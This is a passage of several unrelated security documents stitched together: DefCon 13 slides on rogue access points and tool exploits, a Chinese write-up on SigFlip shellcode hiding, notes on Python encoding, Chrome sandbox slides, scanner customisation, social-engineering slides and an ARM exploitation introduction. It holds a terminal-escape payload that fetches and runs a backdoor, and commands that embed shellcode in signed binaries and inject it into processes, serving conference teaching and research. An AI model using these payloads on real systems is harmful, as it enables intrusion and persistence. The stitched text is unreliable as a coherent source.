DefCon 13
All Your PAP... Google for
targets, if you like. ;)
DefCon 13
All Your CAs... The “All or
None” Vulnerability
DefCon 13
2. Learn DOMAIN and
username w/ rogue AP.
PEAP Attack?
RADIUS
Server
Windows XP SP2
Wireless
Wired
PEAP w/
MSCHAPv2
over TLS
Rogue AP w/
Rogue RADIUS
Server
1. Disassociate users.
3. Disassociate, seed
local password file.
5. Repeat #3.
Authentication success
= correct password
guessed!
4. User continuously
attempts to re-
authenticate.
DefCon 13
Wireless Weaponry for
Windows
● But rogue AP attacks require a
“sophisticated hacker”, right?
Wrong.
● SoftAP + TreeWalk + Apache +
ActivePerl = Airsnarf for
Windows
– http://airsnarf.shmoo.com/airsnarf4win.html
– “Evil Twin Access Points for Dummies”
● But why only run one rogue AP,
when you can run two... or three?
DefCon 13
Rogue Squadron
● Because it's SO hard to run
Airsnarf (the SHELL script)...
● Rogue AP setup for the masses
● Modified WRT54G firmware
– Based off of Ewrt
– Adds username & password portal
capture and logging
● Looks like this...
DefCon 13
DefCon 13
DefCon 13
DefCon 13
http://airsnarf.shmoo.com/rogue_squadron/
DefCon 13
Heeeeeeere's Rodney!
DefCon 13
Shooting Your Security Wad
(Never let Beetle title your slides)
DefCon 13
Why is Rodney ranting
now?
● Been doing product reviews
(public and private)
● Keep seeing some incredibly lame
product “features”
● There’s a risk of FPGS (Ford
Pinto Gastank Syndrome)
DefCon 13
Four Hard Questions?
● Does your product produce an
external log?
● Do you have a security incident report
mechanism?
● Does your product store it’s key
material securely?
● Do you provide a secure management
interface?
Why are these hard questions in 2005?
DefCon 13
Don’t make things worse
● Security products should NOT
increase the attack surface.
● Central servers are single points
of failure
● Communicate securely among
your components
● Don’t run sloppy distro’s
DefCon 13
Stupid Vendor Tricks
● No logging when there are errors
● No logging upon start-up
● Self-signed certificates ONLY
● No capability for change control
● Incoherent documentation/UI
● Follow the damn protocol specs
DefCon 13
Attacks you should try
● Run NMAP and NESSUS (or your fav
commercial equivalent)
● telnet 10.0.0.1 22
● openssl s_client –connect 10.0.0.1:443 –ssl2
● Go after the web interface
● Ettercap
● Google for a random relevant exploit and try
it (or one off a security mailing list)
DefCon 13
How you can make things
better
● (We’re not the bad guys. We’re
trying to be educated consumers.
Here’s some things you can do to
help make things better.)
● If you show how one of these
possible flaws can be broke,
submit to present it at shmoocon
2006)
DefCon 13
How you can make things
better
● Report flaws to the vendor
● Document risks caused by
security gear
● Disrupt future purchases of
clueless security gear
● Encourage future purchases of
cluefull security gear
● Show how easy it is to break
things
DefCon 13
Did you want more gear?
Okey dokey.
CowboyM, show 'em what
you got.
DefCon 13
802.11bloodhound
DefCon 13
DefCon 13
DefCon 13
DefCon 13
DefCon 13
Cazz Kicks Ass
DefCon 13
DefCon 13
Announcing PotKettle
Industries
● Exploit the exploiters
● ???
● Profit
DefCon 13
Multihtml.c exploit
remote vulnerability
● Category: Remote for Remote
● Vendor: bansh33
<[email protected]>
● Affects: All Platforms
● URL:
http://potkettle.net/advisories/1
DefCon 13
Kismet Evasion
● So, wanna evade kismet?
scanned = sscanf(in_data+hdrlen+18, "%d \001%255[^\001]\001 "
"\001%255[^\001]\001 "
"%d %d %d %d %d %d %d %d %d %hd.%hd.%hd.%hd "
"%d %f %f %f %f %f %f %f %f %d %d %d %f %d %d %d %d %d %d "
"%f %f %f %lf %lf %lf %ld %ld"
"%d %d %d %d %d %d %d %d",
(int *) &type, ssid, beaconstr,
&llc_packets, &data_packets, &crypt_packets,
...
● Set your SSID to "shmoo\x01"
DefCon 13
And MORE...!
● Wanna own Metasploit & Canvas
users?
● Use HDM's exploits against his
own projects?
echo -e "\e]10;[:/Special/{Access} wget
127.0.0.1/.bd\rsh
bd\rexit\r:]\a\e]10;[show]\a"
DefCon 13
And Bruce gets to rant,
too!
DefCon 13
Bluetooth Security
● Things have gotten worse, not better
– Millions more radios than last year
– Several high profile vulnerabilities
– Near zero focus from enterprises
• Trifinite.org’s work
– Blooover quite the uber tool
DefCon 13
Bluetooth Security
● Several other attacks via AT
commands
– Dialing, getting data, etc… not good
things to do without authentication
• Pairing attacks, known for years, are
now being coded and used
• WIDS still seems to equal 802.11
tho…
– Gonna be a bad year for IT security
DefCon 13
Defending Wireless
Networks
● We seemed to have covered a lot of
ground on the Offensive.. What about
Defense *boom boom* Defense!
● First there was Host Spot Defense
Kit (HSDK)
– Released BH Fed 03
– Looked for directed rogue AP attacks
against your client
– OS X, Linux, and Windows code
DefCon 13
Defending Wireless
Networks
● At the time of HSDK, there was NO
capability for rogue detection in
commercially avail software
● Today, we’re still not much better
– AirDefense Mobile, some other small stuff
– Rogues are THE BIGGEST threat against
enterprise networks
• So, while the industry is still finding
their whatnot with both hands, we’re
making…
DefCon 13
Hot Spot Defense Kit v2
● Enterprise wireless IDS systems look
for any attack, not just one directed
at a particular client
● When you are on the road (or don’t
have the “luxury” of an enterprise
WIDS) you need the same kind of
protection
DefCon 13
Hot Spot Defense Kit v2
● HSDK v 2 aims to be an
environmental monitor of sorts
– Looks for any zip in the wire, not just
ones directly effecting the client
– If you’re in downtown Baltimore, and
someone starts shooting, you tend to
freak out even if they’re not shooting at
you… wireless shouldn’t be any different
DefCon 13
HSDK v2
● Still under development
● Looking for:
– Mass auth/deauth/assoc attacks
– Fake AP signatures
– Reinjection attacks (hard)
– The standard rogue detection stuff from
v1
• If something is detected, the green
ball turns red (step away from the
computer)
– If security software isn’t usable, it’s
useless
DefCon 13
Speaking of…
● As security professionals, we sure
haven’t learned much
– Security needs to be usable by the users
● Users need hueristic decisions made for them
and presented in red or green balls
– Security admins need to act like
professionals and have a real
understanding of their operations
IT Security Professional
Normal Users
IDS
IDS
Knowledge really needed by user
A real
Enterprise
View
Host and Enterprise
INTEGRITY Monitoring
DefCon 13
Potter’s Pyramid of IT
Security Needs
IDS
Patch Mgt
Op. Procedures
Firewalls
Auth / Auth
Software ACLs
Sec
Honeypots
Sophistication and Operational Cost
DefCon 13
DefCon 13
ShmooCon 2006
● January 13-15
● Washington, D.C.
● Pre-registration is LIVE now.
● http://www.shmoocon.org
● Got an ad? Submit it!
● Here's one...
DefCon 13
Thanks! Questions? | pdf |
SigFlip原理：将数据隐写到已签名的PE文件上
Github地址: https://github.com/med0x2e/SigFlip
可以怎么玩呢，可以白加黑当冲锋马的时候，白文件写入shellcode，黑文件加载白文件的shellcode。
也可以做维权使用，将shellcode注入到系统的白文件中,dll劫持或者loader加到启动项里面。
使用
两个目录 Bof 和 DotNet ，DotNet是c#写的用来可行性测试，包含注入代码，loader加载功能，Bof是C
写的，也包含注入代码和loader加载功能，主要是可以编译成bof文件给Cobalt Strike使用。
c#代码loader的部分直接CreateRemoteThread就运行shellcode了，而bof的loader部分使用 Early
Bird ，启动一个新进程 pac注入执行。
c#和Bof会写入 "\xFE\xED\xFA\xCE\xFE\xED\xFA\xCE" 当作标记，在读取shellcode时通过这个字符
就可以直接定位到shellcode了。
注入shellcode到签名的PE文件
loader执行shellcode
说说原理，一句话就是将shellcode写到了签名时不计算的区域。
签名的位置
https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-data-direct
ories-image-only
c:\> SigFlip.exe -i C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -s
C:\Temp\x86.bin -o C:\Temp\MSbuild.exe -e TestKey
c:\> SigLoader.exe -f C:\Temp\MSBuild.exe -e TestKey -pid <PROCESS_ID>
_IMAGE_DATA_DIRECTORY 第4个偏移的位置（从0开始）。
签名信息的结构
https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-attribute-certificate-tabl
e-image-only
值
信息
Win32 SDK中的宏定义名
0x0100
Win_Certificate的老版本
WIN_CERT_REVISION_1_0
0x0200
Win_Certificate的当前版本
WIN_CERT_REVISION_2_0
灰色背景的部分，不参与签名的hash计算。粗体的部分，就是签名的相关内容。
SigFlip的原理就是将数据隐写到灰色的部分。
数字签名结构
WIN_CERTIFICATE
dwLength:此结构体的长度。
wRevision:在bCertificate里面保护的证书的版本号，版本号有两种，如下表，一般为0x0200。
wCertificateType:证书类型，有如下表格中的类型：
typedef struct _WIN_CERTIFICATE {
DWORD dwLength;
WORD wRevision;
WORD wCertificateType; // WIN_CERT_TYPE_xxx
BYTE bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, *LPWIN_CERTIFICATE;
值
信息
Win32 SDK中的宏定义名
0x0001
X.509证书
WIN_CERT_TYPE_X509
0x0002
包含PKCS#7的SignedData的结构
WIN_CERT_TYPE_PKCS_SIGNED_DATA
0x0003
保留
WIN_CERT_TYPE_RESERVED_1
0x0004
终端服务器协议堆栈证书签名
WIN_CERT_TYPE_TS_STACK_SIGNED
bCertificate:包含一个或多个证书，一般来说这个证书的内容一直到安全表的末尾。
具体的 WIN_CERT_TYPE_PKCS_SIGNED_DATA 结构参考 https://download.microsoft.com/download/9/
c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx
最值得注意的是 bCertificate 的字节大小要求8字节对齐。
修改要做的步骤
根据_IMAGE_DATA_DIRECTORY 获取 WIN_CERTIFICATE 的RVA和大小，添加数据到 bCertificate 后
面，再注意8字节对齐即可。
Ps:为什么添加数据在bCertificate后面不影响证书的校验呢，我原本想找找PKCS#7证书的结构看看的，
搜了一圈，也没找到比较好的。但是可以猜测，既然有8位对齐的校验，说明后面添加几个字符是没有影
响，再可以反推出，每个字段都有一个长度字段控制。所以后面无论我们添加多少字段，对证书的校验
都不会影响。
再 更新 dwLength 大小
更新 _IMAGE_DATA_DIRECTORY[WIN_CERTIFICATE ] 的size。
更新PE头的 CheckSum （这个可选）
手动修改
有了上面的描述，我们可以手动修改试试，以“微信”为例，用它的主程序，数字签名也都正常。
用 CFF Explore 打开wechat.exe，定位到证书表的选项
可以知道证书的位置在文件偏移的 000EA800 ，大小是000035F8
用 010 Editor 跳转到这个地方
头部对应上数据结构的值
dwLength = 0x35f8
typedef struct _WIN_CERTIFICATE {
DWORD dwLength;
WORD wRevision;
WORD wCertificateType; // WIN_CERT_TYPE_xxx
BYTE bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, *LPWIN_CERTIFICATE;
wRevision=0x0200
wCertificateType=0x02
后面即证书的字节了，跳转到最后可以看到有七个字节用作了对齐
我们可以在后面添加自己需要的字节(要是8的倍数)，例如我添加16个。
所以新的长度就是0x35f8+16 = 0x3608 ,新的长度更新到两个地方
更新 dwLength 大小
更新 _IMAGE_DATA_DIRECTORY[WIN_CERTIFICATE ] 的size。
最后它的证书也是正常的。
防御手法
检查是否安装了 MS13-098 KB2893294 (一般默认不安装)
检查注册表
HKLM:\Software\Microsoft\Cryptography\Wintrust\Config
HKLM:\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config
历史
早在2013年，就有人发现chrome的安装包会在证书处写自己的安装信息。
https://blog.didierstevens.com/2013/08/13/a-bit-more-than-a-signature/
增强对抗
loader就可以按shellcode的加载方式进行了，通常一个CreareRemoteThread就可以启动了。在对抗中
执行可以更复杂一点，对于白加黑运行，运行shellcode可以劫持返回地址，或者注入到主程序的入口来
执行。 | pdf |
脚本⼩⼦觉悟之获取⽹⻚正确编码
0x00 认识text与content
先来⼀段熟悉的代码:
那么 text 与 content 的区别，我们可以跟进看看
content 代表返回 raw 类型的byte字节流数据，这个时候的数据没有编码概念。
text 通过阅读注释和代码，可知返回的是编码后数据，其中获取编码的流程是，先通过 response 的header头来
判断，如果没有，则Fallback到 chardet 去猜测，然后使⽤获取到的最终编码类型对byte数据进⾏编码。
resp = requests.get(url=url, verify=False)
print(resp.text)
print(resp.content)
0x01 出现问题
乍⼀看，是不是以后我们使⽤ text 就能获取到较为准确的编码后的内容了？ 爽歪歪
但是当你尝试执⾏下⾯这段代码的时候，乱码却来的那么令⼈惊喜"。
import requests
import chardet
def get(url):
try:
resp = requests.get(url=url, verify=False)
print(resp.encoding)
print(resp.headers)
print(resp.text)
except Exception as e:
print(e)
get("https://baidu.com/")
⾸先 requests 从header获取到编码是 ISO-8859-1 单字节，根据乱码来看，嗯，出错了。
在 adapters.py 的274⾏ get_encoding_from_headers
可以看到，获取到的编码逻辑， requests 作者基于⼀些考量做了⼀些"优化"。
0x02 解决问题
编码的选择权交给⻚⾯提供⽅是⼀种"合理"的约定。但是很多⽹站在控制编码⽅⾯是通过在html⻚⾯通过 <meta
chartset="utf-8"> 之类的语句来指定⻚⾯的编码，导致爬⾍使⽤ requests.text 就会得到乱码的结果。针对
这种情况，与其被动，不如主动，直接利⽤ chardet 进⾏"经验"考量判断。
if 'text' in content_type:
return 'ISO-8859-1'
import requests
import chardet
0x03 总结
炒冷饭的⼀些常识性的东⻄，对于优化你的⽇常扫描脚本或许能起到⼀些作⽤吧，⾄少在速度、准确度上⾯以
及脚本轻量化⽅⾯这都是⼀种不错的选择。
import urllib3
urllib3.disable_warnings()
def get(url):
try:
resp = requests.get(url=url, verify=False)
encoding = chardet.detect(resp.content).get("encoding", "utf-8")
return str(resp.content, encoding=encoding)
except requests.exceptions as e:
print(e)
print(get("https://baidu.com/")) | pdf |
The
Evolu*on
of
Chrome
Security
Architecture
Huan
Ren
Chromium
Contributor
Qihoo
360
Technology
Ltd
Introduc*on
to
Speaker
• 2011.07
-‐
Present,
Qihoo
360
Technology
Ltd.
Engineering
lead
of
360
browser
team
• 2007
-‐
2011,
Staff
SoNware
Engineer,
Google
Inc
One
of
the
founding
engineers
of
Google
Chrome
team
• 2004
-‐
2006,
SoNware
Design
Engineer
Windows
base
team,
MicrosoN
History
• Ini*al
version:
mul*-‐process,
no
sandbox
• 2007:
renderer
sandbox
• 2009:
extension
system
• 2010:
out
of
process
GPU
• 2010
and
ongoing:
plug-‐in
sandbox
and
pepper
Today’s
Chrome
Architecture
Browser
Renderer
Extension
Plug
In
GPU
Sandbox
Policy
Render
Sandbox
• Token
Calling
CreateRestrictedToken
with
Null
SID
and
all
privileges
deleted.
• Job
JOB_OBJECT_LIMIT_ACTIVE_PROCESS
JOB_OBJECT_UILIMIT_READCLIPBOARD
…
• Alternate
desktop
• Low
integrity
level
(for
Vista+)
Challenge:
compa*bility
• Two
phases
– Bootstrap:
ini*al
token
– Lockdown:
aNer
LowerToken()
is
called
• API
Intercep*ons
IPC
Policy
Engine
IPC
Policy
Client
Intercep*ons
Broker
(browser)
Renderer
Intercep*ng
APIs
for
compa*bility,
not
for
sandboxing.
Challenge:
compa*bility
• Paint
to
screen
cache
bitmap
Browser
Renderer
IPC
(shared
memory)
Window
WM_PAINT
Render
Process
Separa*on
• Process
model
– Process
per
tab
– Process
per
site
– Process
per
site
instance
• Mandatory
process
separa*on
– webUI,
extension,
and
normal
render
processes
Extension
Security
Architecture
Browser
Extension
(sandboxed
as
renderer)
Renderer
(
sandboxed)
Plug-‐in
(not
sandboxed)
Content
script
Background
page
Extension
host
Permissions
Message
passing
JS
sandboxing
JS
sandbox:
isolated
world
DOM
V8
binding
Page
Page
JS
Content
Script
1
Content
Script
2
Privilege
separa*on
• Content
script:
running
in
renderer
process
associated
with
page
• Extension
core:
running
in
separate
process
with
privilege
to
– issue
cross-‐origin
XMLHTTPRequest
– call
extensions
APIs
– load
plug-‐ins
• Both
sandboxed
as
renderer
process.
Message
passing
• One-‐*me
request
chrome.extension.sendMessage
chrome.tabs.sendMessage
chrome.extension.onMessage.addListener
• Long-‐lived
connec*ons
chrome.extension.connect
chrome.extension.onConnect.addListener
• Cross-‐extension
messaging
Publishing
• Manifest
{
…
"key":
"publicKey",
"permissions":
[
"tabs",
"bookmarks",
"hjp://*.google.com/",
"unlimitedStorage"
],
"plugins":
[...],
}
Common
Extension
Vulnerabili*es
• Network
ajack
Use
<script
src>
with
an
HTTP
URL
• XSS
eval(),
innerHTML,
document.write()
func*on
displayAddress(address)
{
eval("alert('"
+
address
+
"')");
}
Evalua*on
of
Chrome
Extensions
• Study
by
UC
Berkeley,
to
be
presented
in
upcoming
USENIX
Security
Symposium
2012
– Manual
review
of
50
popular
and
50
randomly-‐
selected
extensions.
– Found
70
vulnerabili*es
across
40
extensions.
Source:
"An
Evalua*on
of
the
Google
Chrome
Extension
Security
Architecture"
Evalua*on
of
Chrome
Extensions
Vulnerable
Component
Web
A1acker
Network
A1acker
Core
extension
5
50
Content
script
3
1
Website
6
14
Vulnerable
Component
Popular
Random
Total
Core
extension
12
15
27
Content
script
1
2
3
Website
11
6
17
Any
22
18
40
Source:
"An
Evalua*on
of
the
Google
Chrome
Extension
Security
Architecture"
Extension
Security
V2
• Support
Content-‐Security-‐Policy
(CSP)
• Manifest
V2
script-src 'self'; object-src 'self'
– No
inline
script
– No
eval()
– Load
objects
only
from
within
package
or
whitelist
• “prevent
96%
(49
out
of
51)
of
the
core
extension
vulnerabili*es
found.
”
Other
Threats
on
Extensions
• Threat
model
– Ajack
on
core
extension
• primary
design
goal
– Malicious
extensions
• Chrome
sync
amplifies
the
threat
– Websites
that
have
been
altered
by
extensions
• Remain
to
be
studied
• Malicious
extensions
– From
Chrome
21,
only
allow
installa*on
from
web
store.
GPU
Process
Renderer
process
GPU
process
Shared
Memory
Commands
Bitmaps
and
arrays
Browser
process
H/w
decoder
HWND
Child
HWND
GPU
Sandbox
• Token
– WinBuil*nUsersSid,
WinWorldSid,
WinRestrictedCodeSid
• Connected
to
the
interac*ve
desktop
Plug-‐ins
• NPAPI
plug-‐ins
are
not
sandboxed
– Weakest
link
on
the
system
• Mi*ga*ons
– Black
list
– Click
to
play
– Built
in
Flash
player
• Fast
update
• Sandbox:
Vista
and
later,
low
integrity
mode
Ppapi
Plug-‐ins
Browser
process
Plug-‐in
process
Renderer
process
Plug-‐in
Ppapi
Cross
plazorm
System
APIs
Locked
down
as
renderer
process
Current
Progress
• Performance
improvement
– From
sync
layout
model
to
async
• Conver*ng
na*ve
system
calls
to
ppapi
– Flash
– PDF
reader
• Chrome
21
beta:
Ppapi
Flash
enabled
by
default
Design
Principle
Review
• Least
privilege
• Privilege
separa*on
• Leveraging
system
security
mechanism
• Striking
a
balance
between
security
and
performance,
user
experience. | pdf |
⾃动src之ARL⼤改造-优化漏扫
0x00 前⾔
这篇⽂章是继续对灯塔ARL的优化以达到较好的辅助src漏洞挖掘。继前⾯通过对host碰撞的简单优
化我⼤概了解了⼀下arl的逻辑，接下来这篇⽂章是针对更加复杂的nuclei的漏扫模块做⼀定的优
化。
0x01 简单看⼀下nuclei扫描逻辑
这⾥的nuclei扫描可以理解为arl调⽤的⼤名鼎鼎的漏扫⼯具nuclei作为主要漏扫引擎。不知道nuclei
的可以⾃⼰去GitHub下载安装⼤致体验⼀下，暂时可以简单的理解为国外版的xray。ARL这⾥直接
将nuclei作为漏扫引擎来集成使⽤了。
我们⼤概看⼀下代码上的逻辑，搜⼀下nuclei
跟进去
看起来是展示扫描结果的，⽽我们需要的是整个扫描启动的过程，所以看别的地⽅
找到⼀个nuclei_scan.py，跟进去看看
这个nucleiscan类有很多⽅法看着就很科学，⼀个个简单浏览⼀下
可以看到是直接调⽤的命令⾏的nuclei命令来执⾏的扫描任务
先exec命令⾏的nuclei，等执⾏完毕后去执⾏dump_result函数
dump_result则是读取nuclei执⾏完毕后的结果⽂件⾥的内容然后组合成⼀个result列表后进⾏返
回。
0x02 思考⼀下优化点
浏览完整个扫描的过程后，我⼤概有两块的优化点要做：
1. 优化nuclei的扫描，⽐如仔细阅读他的命令⾏参数，修改⼀下相对的参数进⾏执⾏
2. 添加新的扫描引擎⽐如xray，使每个扫描任务同时通过nuclei和xray等其他引擎进⾏扫描，然
后将结果整合成同⼀个格式进⾏返回
这两个⽅向的优化都需要去做⼀下，第⼀个优化⽅向则需要我们了解⼀下nuclei的整体命令⾏参数
的含义，第⼆个优化⽅向则需要我们把xray也加进来，修改部分代码并把xray的扫描结果专成和
nuclei同⼀个格式。
0x03 优化nuclei命令⾏参数
想要优化命令⾏参数⾸先我们得先了解，这⾥执⾏的命令⾏参数的整体含义，我们把它摘出来⼀个
个翻译⼀下
[self.nuclei_bin_path, "-duc", //禁⽤poc更新
"-tags cve", //通过tags来指定模板，这⾥应该是指CVE的模板
"-severity low,medium,high,critical", //漏洞等级
"-type http", //类型
"-l {}".format(self.nuclei_target_path), //从⽂件⾥读取⽬标列表
"-json", //输出转成json格式
"-stats", //打印扫描进度
"-stats-interval 60", //每隔六⼗秒打印⼀次扫描进度
"-o {}".format(self.nuclei_result_path), //结果输出到指定⽂件
有⼏个点可能需要考虑⼀下：
1. nuclei是不是需要定时更新包括更新poc和程序版本，这个可能需要检查⼀下docker⾥集成的
nuclei版本
2. 只使⽤cve的tag的poc是不是⾜够，我觉得可以去掉
3. 只检测http的类型是不是范围⼩了点
4. 有没有额外需要增加的参数
关于这个tags可以看这个
接下来前三点⾃⾏考虑吧，第四点这边看了⼀下可能有两个需要考虑的：
-iserver, -interactsh-server string interactsh server url for self-hosted
instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
-headless enable templates that require headless browser support (root user
on linux will disable sandbox)
headless不陌⽣，就是⽆头浏览器的意思，加上去可能会对⼀些其他的扫描效果更好些，那么第⼀
个interactsh-server是什么呢？
interactsh其实是⼀个⽐较有名的开源dnslog服务，如果我们不指定的话，nuclei会直接使⽤已经部
署好的公共域名(default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)这⼏个来充当
dnslog，要知道这些是公共的，所以很有可能被加⼊到各类检测规则当中，因此理想情况下我们应
该⾃⾏购买域名然后搭建⾃⼰的interactsh服务⽤于扫描器⾥的dnslog以此来规避安全设备的检测
规则。具体如何搭建在interactsh的GitHub⻚⾯⾥有我就不在这⾥赘述了。搭建完毕后把这个参数
加⼊到扫描代码⾥即可。
0x04 增加xray扫描引擎
另⼀个优化⽅向就是把xray也作为其中⼀个扫描引擎来使⽤，那么我们看⼀下怎么修改代码⽐较合
适。
⾸先是执⾏命令部分，我们先暂定我们要执⾏的xray的命令为：
./xray_darwin_amd64 webscan --url-file targetsfile --json-output resultsfile
那么回到nuclei那个代码那边，我们加⼀下xray的扫描命令并开启线程使其同时扫描
⼤致上改成这样是差不多了。
接下来修改dump_result这边，先来看看nuclei的json结果和xray的json结果有何不同
nuclei：
xray：
我们来看看dump_results⾥的字段是哪些
item = {
"template_url": data["template-url"],
"template_id": data["template-id"],
"vuln_name": data["info"]["name"],
"vuln_severity": data["info"]["severity"],
"vuln_url": data["matched-at"],
"curl_command": data["curl-command"],
"target": data["host"]
}
那接下来其实我们只需要把xray的报告⾥的⼀些字段和nuclei的字段做映射即可，虽然不⼀定是百
分百准确，但⾄少能提供⼀些扫描结果的信息出来进⾏参考也就可以了⽽不需要改动太多的代码。
⽐如我们可以这样：
data["template_url"] -> data["detail"]["extra"]["links"][0]
data["template_id"] -> data["plugin"]
data["vuln_name"] -> data["plugin"]
data["vuln_serverity"] -> "xray"或者"high"
data["vuln_url"] -> data["target"]["url"]
data["curl_command"] -> data["detail"]["snapshot"][0][0][0:150]
data["target"] -> data["host"]
⽤这个⽅式来对xray的数据进⾏映射到nuclei的结果集⾥，这样就不需要修改原有的逻辑了。
⼤致代码如下
感觉上应该是差不多了，就先这样吧。
0x05 总结
这⼀篇⽂章⼤概介绍了⼀下我对arl的漏扫引擎的优化点，从优化nuclei扫描参数到增加xray的扫描
引擎到其中，给出了⼤致的事例代码。
上⽂中的代码我还没调试过，不过我觉得吧，⼋九不离⼗错不了：P
晚点把这些优化点整合⼀下看看是不是和预期⼀样 | pdf |
“Stratagem 1 "Deceiving the heavens to
cross the sea”
瞒天过海
(Using the the 36 stratagems for Social Engineering)
Jayson E. Street, CISSP, C|EH,
GSEC, GCIH, GCFA,
IEM, IAM, ETC…
Let go of my EGO
Who Am I?
[email protected]
Hacker/Social Engineer
INFOSEC talk = slide like this ;-)
• Sun Wu (Tzu) “Ping-fa”(The Art of War)
• All warfare is based on deception. Hence, when able to
attack, we must seem unable; when using our forces, we
must seem inactive; when we are near, we must make
the enemy believe we are far away; when far away, we
must make him believe we are near. Hold out baits to
entice the enemy. Feign disorder, and crush him.
Contents
• INTRO
• History of the 36 Stratagems
• History of Social Engineering
• How S.E. differs between cultures
• The new OSI model
• Top 5 Stratagems relating to S.E.
• Discussion
The History of the 36 Stratagems
Cooking = France
Painting = Italy
Military Strategy = China
The History of Social Engineering
From the beginning of time before it had a name it
was being used as an effective form of attack.
Amenhotep III
The first Trojan attack
Bards masters of the (S.E.) craft
How S.E. differs between cultures
Asia: Save face = Losing secrets
Europe: Command = Control
North America: Do unto others = Before they do to you
South America: Mutual benefit = An uneven outcome
The new OSI model
Layer 1-6 is over used time for a new vector.
Layer 7 good but getting better defended.
Layer 8 less guarded and can’t be patched ;-)
Why use Layer 8?
Credit to @jcran
3. "Killing with a borrowed knife”
借刀杀人
Turn an enemies asset against him
(Let the employee be the attack vector)
3. "Killing with a borrowed knife”
借刀杀人
Cont…
3. "Killing with a borrowed knife”
借刀杀人
Cont…
3. "Killing with a borrowed knife”
借刀杀人
Cont…
oops
3. "Killing with a borrowed knife”
借刀杀人
Cont…
oops
3. "Killing with a borrowed knife”
借刀杀人
Cont…
3. "Killing with a borrowed knife”
借刀杀人
Cont…
3. "Killing with a borrowed knife”
借刀杀人
Cont…
3. "Killing with a borrowed knife”
借刀杀人
Cont…
Thanks @jonoberheide
3. "Killing with a borrowed knife”
借刀杀人
Cont…
Thanks @jonoberheide
5. "Looting a house on fire”
趁火打劫
Lay offs / acquisitions create the proper kind of
chaos for a subtle attack.
<
15. "Luring a tiger from its lair in the mountain”
调虎离山
Wait for the worker to take his network (laptop) to you.
15. "Luring a tiger from its lair in the mountain”
调虎离山
15. "Luring a tiger from its lair in the mountain”
调虎离山
17. "Tossing out a brick to get a jade”
抛砖引玉
$15.00 USB could return an investment of
$5,000,000. If cast out to the right “lucky” person
36. "Escape - the best scheme”
走为上
Every plan should have an exit strategy in case the attack fails
(especially if you are doing it in the “real world”).
Okay now what can we do?
Okay now what can we do?
Okay now what can we do?
Okay now what can we do?
Thanks to @0ph3lia
Okay now what can we do?
•
Without understanding where the opponent's
weaknesses are you cannot borrow their strength to use
against them. (Cheng Man Ching)
• http://www.dissectingthehack.com
• http://f0rb1dd3n.com
• http://headhacker.net
• http://www.social-engineer.org/
• http://netragard.com
• http://isc.sans.org
• @jaysonstreet on Twitter
Now let’s learn from others
• Discussion and Questions????
• Or several minutes of uncomfortable
silence it is your choice.
•
This concludes my presentation Thank You
• http://www.dissectingthehack.com
• http://f0rb1dd3n.com
• http://headhacker.net
• http://www.social-engineer.org/
• http://netragard.com
• http://isc.sans.org
• @jaysonstreet on Twitter
Those Links Again | pdf |
============= Non-Executable Stack ARM Exploitation =================
0.- Introduction
1.- ARM Assembly
1.0 - Exploitation of ARM vs. X86 when stack isn't executable
1.1 - ARM calling convention (APCS)
1.2 - Why simple ret2libc will not work?
1.3 - Understanding the vulnerable function
2.- ARM Exploitation
2.0 - Controlling the PC
2.1 - Ret2ZP (Return To Zero Protection) - For Local Attacker
2.2 - Ret2ZP (Return To Zero Protection) - Attack Explained in Depth (For
Remote Attacker)
2.3 - Ret2ZP - R0..R3 Adjustments
2.4 - Ret2ZP - Using the attack to enable stack
2.5 - Ret2ZP - Hacking Android based phone
3.- Conclusion
4.- Acknowledgments
5.- Author
6.- References
--[ 0.- Introduction
This paper is describing techniques to exploit stack-based buffer overflows and to get
more familiar with ARM exploitation in the modern age - where ARM stack isn't
executable.
This research was made to understand the risks on modern ARM devices in-order to
prevent them by suggesting solutions.
Disclaimer: When using parts from this paper, you should still credit the authors of
this paper and point to an updating link of this paper as a reference.
Ret2ZP Attack is described fully and can be preformed at your own ARM devices. I
will claim no responsibility for doing yourself or other damage. It's on your own risk.
This paper is assuming basic knowledge in X86 assembly or ARM assembly.
Also, knowledge of exploitation techniques may assist understanding the paper
(when stack is not executable, such as ret2libc attacks).
Stack buffer overflow bugs are caused when a program writes more data to a buffer
located on the stack than there was actually allocated for that buffer.
How can a BO be used?
(I) A user can locally run commands to elevate privileges and gain control over a
mobile-device.
(II) A user can remotely exploit a phone, to gain control over a remote phone to
execute commands.
This paper intends to show there’s still a risk in current implied security mechanism
for devices using ARM CPU. My hope is that more effort will be invested in making
solution on mainline kernels.
Now, let's change our thoughts from computers to real world ARM exploitation
scenario. ARM is being used everywhere right now: Televisions, advanced mobile
phones, tablets, etc!
But it appears that all exploitation rely on Stack being executable on ARM, which is
not the modern scenario.
Check if there’s an updated version of this paper at:
http://imthezuk.blogspot.com
--[ 1.- ARM Assembly
----[ 1.0 Exploitation of ARM vs. X86 when stack isn't executable
Stack is not executable on many new platforms, causing exploitation to be harder.
ARM Assembly is different than X86 Assembly.
X86 Tricks exists to control the flow of a program after running over the EIP value
[such as : ret2libc (*D)] where you can run over the EBP, EIP and can control the
path of the function + add parameters(!).
No public knowledge of exploitation on ARM exists by the time of writing this paper
[on ARM exploitation when stack isn't executable]. This is the research, enjoy:
----[ 1.1 ARM calling convention (APCS)
The standard ARM calling convention (*A) allocates the 16 ARM registers as:
|=> R15 is the Program Counter (PC)
|=> R14 is the Link Register (LR)
|=> R13 is the Stack Pointer (SP)
|=> R12 is the Intra-Procedure-call scratch register (IP)
|=> R11 is the Frame Pointer (FP)
|=> R4 to R10: used to hold local variables.
|=> R0 to R3: used to hold argument values to and from a subroutine
===========
Which means, that if we want to call SYSTEM() function, which gets one parameter
(char *), it will be passed through R0.
Since parameter is not being pushed on the stack when calling the function, it was
not supposed to be popped from the stack, so the original way of getting parameter
to function
is not the same as X86. We'll need to adjust parameters using the following tricks in-
order for the buffer to do successful exploit.
----[ 1.2 Why simple ret2libc will not work?
What does it mean for (non-executable-stack) exploitation? Parameters needed to be
setup instead of just putting them in the right order on the stack like you were used to
on X86.
